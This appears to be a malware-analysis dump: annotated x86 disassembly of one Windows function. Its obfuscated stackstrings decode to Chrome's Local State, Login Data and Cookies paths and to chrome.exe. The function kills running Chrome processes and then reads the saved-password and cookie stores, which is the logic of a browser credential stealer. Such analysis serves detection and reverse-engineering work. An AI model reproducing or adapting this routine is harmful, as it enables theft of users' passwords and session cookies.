Function at 0x10018bb0
Capabilities:
Contain obfuscated stackstrings
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b213c
mov eax, dword fs:[0]
push eax
sub esp, 0x4b4
mov eax, dword [0x100df300]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x40c], 0
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0xa4], 0x700048
mov dword [ebp - 0xa0], 0x680070
mov dword [ebp - 0x9c], 0x66006d
mov dword [ebp - 0x98], 0x44005d
mov dword [ebp - 0x94], 0x730069
mov dword [ebp - 0x90], 0x6e0070
mov dword [ebp - 0x8c], 0x5d0066
mov dword [ebp - 0x88], 0x740056
mov dword [ebp - 0x84], 0x730066
mov dword [ebp - 0x80], 0x450021
mov dword [ebp - 0x7c], 0x750062
mov dword [ebp - 0x78], 0x5d0062
mov dword [ebp - 0x74], 0x70004d
mov dword [ebp - 0x70], 0x620064
mov dword [ebp - 0x6c], 0x21006d
mov dword [ebp - 0x68], 0x750054
mov dword [ebp - 0x64], 0x750062
mov dword [ebp - 0x60], 0x66
mov dword [ebp - 0xfc], 0x700048
mov dword [ebp - 0xf8], 0x680070
mov dword [ebp - 0xf4], 0x66006d
mov dword [ebp - 0xf0], 0x44005d
mov dword [ebp - 0xec], 0x730069
mov dword [ebp - 0xe8], 0x6e0070
mov dword [ebp - 0xe4], 0x5d0066
mov dword [ebp - 0xe0], 0x740056
mov dword [ebp - 0xdc], 0x730066
mov dword [ebp - 0xd8], 0x450021
mov dword [ebp - 0xd4], 0x750062
mov dword [ebp - 0xd0], 0x5d0062
mov dword [ebp - 0xcc], 0x660045
mov dword [ebp - 0xc8], 0x620067
mov dword [ebp - 0xc4], 0x6d0076
mov dword [ebp - 0xc0], 0x5d0075
mov dword [ebp - 0xbc], 0x70004d
mov dword [ebp - 0xb8], 0x6a0068
mov dword [ebp - 0xb4], 0x21006f
mov dword [ebp - 0xb0], 0x620045
mov dword [ebp - 0xac], 0x620075
mov word [ebp - 0xa8], ax
mov dword [ebp - 0x15c], 0x700048
mov dword [ebp - 0x158], 0x680070
mov dword [ebp - 0x154], 0x66006d
mov dword [ebp - 0x150], 0x44005d
mov dword [ebp - 0x14c], 0x730069
mov dword [ebp - 0x148], 0x6e0070
mov dword [ebp - 0x144], 0x5d0066
mov dword [ebp - 0x140], 0x740056
mov dword [ebp - 0x13c], 0x730066
mov dword [ebp - 0x138], 0x450021
mov dword [ebp - 0x134], 0x750062
mov dword [ebp - 0x130], 0x5d0062
mov dword [ebp - 0x12c], 0x660045
mov dword [ebp - 0x128], 0x620067
mov dword [ebp - 0x124], 0x6d0076
mov dword [ebp - 0x120], 0x5d0075
mov dword [ebp - 0x11c], 0x66004f
mov dword [ebp - 0x118], 0x780075
mov dword [ebp - 0x114], 0x730070
mov dword [ebp - 0x110], 0x5d006c
mov dword [ebp - 0x10c], 0x700044
mov dword [ebp - 0x108], 0x6c0070
mov dword [ebp - 0x104], 0x66006a
mov dword [ebp - 0x100], 0x74
mov dword [ebp - 0x5c], 0x690064
mov dword [ebp - 0x58], 0x700073
mov dword [ebp - 0x54], 0x66006e
mov dword [ebp - 0x50], 0x66002f
mov dword [ebp - 0x4c], 0x660079
mov word [ebp - 0x48], ax
mov byte [ebp - 4], 2
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x40c], 1
push eax
mov dword [ebp - 0x404], 0x27
call fcn.1000f950
mov ecx, dword [ebp - 0x404]
lea esi, [ebp - 0xa4]
mov dword [ebp - 0x18], ecx
add esp, 8
mov cx, word [ebp - 0x2c]
mov word [eax], cx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x1c], 0
nop dword [eax]
mov ax, word [esi]
lea ecx, [ebp - 0x2c]
dec ax
movzx eax, ax
push eax
call fcn.1000b550
add esi, 2
lea eax, [ebp - 0x5e]
cmp esi, eax
jne 0x10018ee0
movups xmm0, xmmword [ebp - 0x2c]
xor eax, eax
mov word [ebp - 0x2c], ax
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [ebp - 0x1c]
movq qword [ebp - 0x34], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 3
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x1bc]
call fcn.10005600
add esp, 4
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x30]
cmp ecx, 7
jbe 0x10018f78
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10018f6e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a38
push ecx
push edx
call fcn.10075468
add esp, 8
xor eax, eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x10018fca
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10018fc0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a38
push ecx
push edx
call fcn.10075468
add esp, 8
mov byte [ebp - 4], 7
xor eax, eax
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
movups xmmword [ebp - 0x2c], xmm0
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
push eax
mov dword [ebp - 0x40c], 4
mov dword [ebp - 0x404], 0x2f
call fcn.1000f950
mov ecx, dword [ebp - 0x404]
lea esi, [ebp - 0xfc]
mov dword [ebp - 0x18], ecx
add esp, 8
mov cx, word [ebp - 0x2c]
mov word [eax], cx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x1c], 0
mov ax, word [esi]
lea ecx, [ebp - 0x2c]
dec ax
movzx eax, ax
push eax
call fcn.1000b550
add esi, 2
lea eax, [ebp - 0xa8]
cmp esi, eax
jne 0x10019030
movups xmm0, xmmword [ebp - 0x2c]
xor eax, eax
mov word [ebp - 0x2c], ax
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [ebp - 0x1c]
movq qword [ebp - 0x34], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 8
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x18c]
call fcn.10005600
add esp, 4
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x30]
cmp ecx, 7
jbe 0x100190cb
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100190c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a3d
push ecx
push edx
call fcn.10075468
add esp, 8
xor eax, eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x1001911d
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10019113
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a3d
push ecx
push edx
call fcn.10075468
add esp, 8
mov byte [ebp - 4], 0xc
xor eax, eax
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
movups xmmword [ebp - 0x2c], xmm0
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
push eax
mov dword [ebp - 0x40c], 0x10
mov dword [ebp - 0x404], 0x37
call fcn.1000f950
mov ecx, dword [ebp - 0x404]
lea esi, [ebp - 0x15c]
mov dword [ebp - 0x18], ecx
add esp, 8
mov cx, word [ebp - 0x2c]
mov word [eax], cx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x1c], 0
mov ax, word [esi]
lea ecx, [ebp - 0x2c]
dec ax
movzx eax, ax
push eax
call fcn.1000b550
add esi, 2
lea eax, [ebp - 0xfe]
cmp esi, eax
jne 0x10019183
movups xmm0, xmmword [ebp - 0x2c]
xor eax, eax
mov word [ebp - 0x2c], ax
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [ebp - 0x1c]
movq qword [ebp - 0x34], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0xd
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x174]
call fcn.10005600
add esp, 4
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x30]
cmp ecx, 7
jbe 0x1001921e
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10019214
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a42
push ecx
push edx
call fcn.10075468
add esp, 8
xor eax, eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x10019270
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10019266
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a42
push ecx
push edx
call fcn.10075468
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x1bc]
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov byte [ebp - 4], 0x11
call fcn.10012af0
test al, al
je 0x10019879
sub esp, 0x18
lea eax, [ebp - 0x1bc]
mov ecx, esp
mov dword [ebp - 0x404], ecx
push eax
call fcn.1000b850
lea ecx, [ebp - 0x1a4]
call fcn.10018480
add esp, 0x18
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x194], 3
jbe 0x1001983f
lea ecx, [ebp - 0x18c]
call fcn.10012af0
test al, al
jne 0x100192f3
lea ecx, [ebp - 0x174]
call fcn.10012af0
test al, al
je 0x1001983f
push 3
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push 0x100d01a0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.1000e6a0
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x13
push eax
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x1d4]
call fcn.10005600
add esp, 4
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x1001936e
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10019364
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a47
push ecx
push edx
call fcn.10075468
add esp, 8
sub esp, 8
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
lea ecx, [ebp - 0x4bc]
lea eax, [ebp - 0x1d4]
push 2
push eax
call fcn.1000e160
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x1a4]
cmp dword [ebp - 0x190], 0xf
push dword [ebp - 0x194]
cmova eax, dword [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x4bc]
push eax
call fcn.1001daf0
add esp, 0xc
lea ecx, [ebp - 0x4b8]
call fcn.1000ca00
test eax, eax
jne 0x100193ff
mov eax, dword [ebp - 0x4bc]
lea ecx, [ebp - 0x4bc]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10004f40
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x5c]
call fcn.1001bc80
push 0
push 2
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x400]
mov dword [ebp - 0x40c], eax
push ecx
push eax
mov dword [ebp - 0x400], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10019471
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop
cmp dword [esi + 0x14], 7
mov eax, esi
jbe 0x1001944a
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x3dc]
push eax
call fcn.10082b28
add esp, 8
test eax, eax
je 0x100194b6
lea eax, [ebp - 0x400]
push eax
push dword [ebp - 0x40c]
call edi
test eax, eax
jne 0x10019440
push dword [ebp - 0x40c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x405], 0
mov ecx, dword [ebp - 0x30]
cmp ecx, 7
jbe 0x100194d5
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100194cb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a4c
jmp 0x100194cb
push dword [ebp - 0x40c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x405], 1
jmp 0x10019484
push ecx
push edx
call fcn.10075468
add esp, 8
cmp byte [ebp - 0x405], 0
je 0x100195d4
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x5c]
call fcn.1001bc80
push 0
push 2
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x400], 0x22c
lea eax, [ebp - 0x400]
mov dword [ebp - 0x404], edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1001956b
nop
cmp dword [esi + 0x14], 7
mov eax, esi
jbe 0x1001952a
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x3dc]
push eax
call fcn.10082b28
add esp, 8
test eax, eax
jne 0x10019559
push dword [ebp - 0x3f8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x100195a4
mov edi, dword [ebp - 0x404]
lea eax, [ebp - 0x400]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x10019520
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x30]
cmp ecx, 7
jbe 0x100195ca
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100195c0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a51
jmp 0x100195c0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push dword [ebp - 0x404]
call esi
jmp 0x10019572
push ecx
push edx
call fcn.10075468
add esp, 8
mov ecx, 3
call fcn.10017550
lea ecx, [ebp - 0x18c]
call fcn.10012af0
test al, al
je 0x100196e5
push 5
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.ld.sq
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.1000e6a0
mov dword [ebp - 0x40c], 0xcc0
lea eax, [ebp + 0x20]
mov byte [ebp - 4], 0x18
push eax
lea ecx, [ebp - 0x44]
call fcn.1000b850
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x40c], 0x1cc0
push eax
lea ecx, [ebp - 0x44]
call fcn.10005470
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x10019679
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1001966f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a56
push ecx
push edx
call fcn.10075468
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
push 2
lea edx, [ebp - 0x44]
mov dword [ebp - 0x18], 7
lea ecx, [ebp - 0x18c]
mov word [ebp - 0x2c], ax
call fcn.10013650
mov byte [ebp - 4], 0x16
add esp, 4
mov ecx, dword [ebp - 0x30]
mov esi, 0xcc0
cmp ecx, 7
jbe 0x100196ea
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100196d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a5b
push ecx
push edx
call fcn.10075468
add esp, 8
jmp 0x100196ea
mov esi, 0xc0
lea ecx, [ebp - 0x174]
call fcn.10012af0
test al, al
je 0x100197f4
push 5
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.ck.sq
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.1000e6a0
or esi, 0x6000
mov dword [ebp - 0x40c], esi
lea eax, [ebp + 0x20]
mov byte [ebp - 4], 0x1b
push eax
lea ecx, [ebp - 0x44]
call fcn.1000b850
lea eax, [ebp - 0x2c]
or esi, 0x200
push eax
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x40c], esi
call fcn.10005470
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x10019793
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10019789
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a60
push ecx
push edx
call fcn.10075468
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
push 2
lea edx, [ebp - 0x44]
mov dword [ebp - 0x18], 7
lea ecx, [ebp - 0x174]
mov word [ebp - 0x2c], ax
call fcn.10013650
mov ecx, dword [ebp - 0x30]
add esp, 4
cmp ecx, 7
jbe 0x100197f4
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100197ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a65
push ecx
push edx
call fcn.10075468
add esp, 8
lea ecx, [ebp - 0x4bc]
call fcn.10008ac0
mov ecx, dword [ebp - 0x1c0]
cmp ecx, 7
jbe 0x1001983f
mov edx, dword [ebp - 0x1d4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10019835
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a6a
push ecx
push edx
call fcn.10075468
add esp, 8
mov ecx, dword [ebp - 0x190]
cmp ecx, 0xf
jbe 0x10019879
mov edx, dword [ebp - 0x1a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001986f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a6f
push ecx
push edx
call fcn.10075468
add esp, 8
mov ecx, dword [ebp - 0x160]
cmp ecx, 7
jbe 0x100198b9
mov edx, dword [ebp - 0x174]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100198af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a74
push ecx
push edx
call fcn.10075468
add esp, 8
mov ecx, dword [ebp - 0x178]
xor eax, eax
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 7
mov word [ebp - 0x174], ax
cmp ecx, 7
jbe 0x10019916
mov edx, dword [ebp - 0x18c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1001990c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a74
push ecx
push edx
call fcn.10075468
add esp, 8
mov ecx, dword [ebp - 0x1a8]
xor eax, eax
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 7
mov word [ebp - 0x18c], ax
cmp ecx, 7
jbe 0x10019973
mov edx, dword [ebp - 0x1bc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10019969
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a74
push ecx
push edx
call fcn.10075468
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x1a8], 7
mov word [ebp - 0x1bc], ax
cmp ecx, 7
jbe 0x100199ca
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100199c0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a74
push ecx
push edx
call fcn.10075468
add esp, 8
mov ecx, dword [ebp + 0x34]
xor eax, eax
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 7
mov word [ebp + 8], ax
cmp ecx, 7
jbe 0x10019a1c
mov edx, dword [ebp + 0x20]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10019a12
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10019a74
jmp 0x10019a12
push ecx
push edx
call fcn.10075468
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10075013
mov esp, ebp
pop ebp
ret
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
int3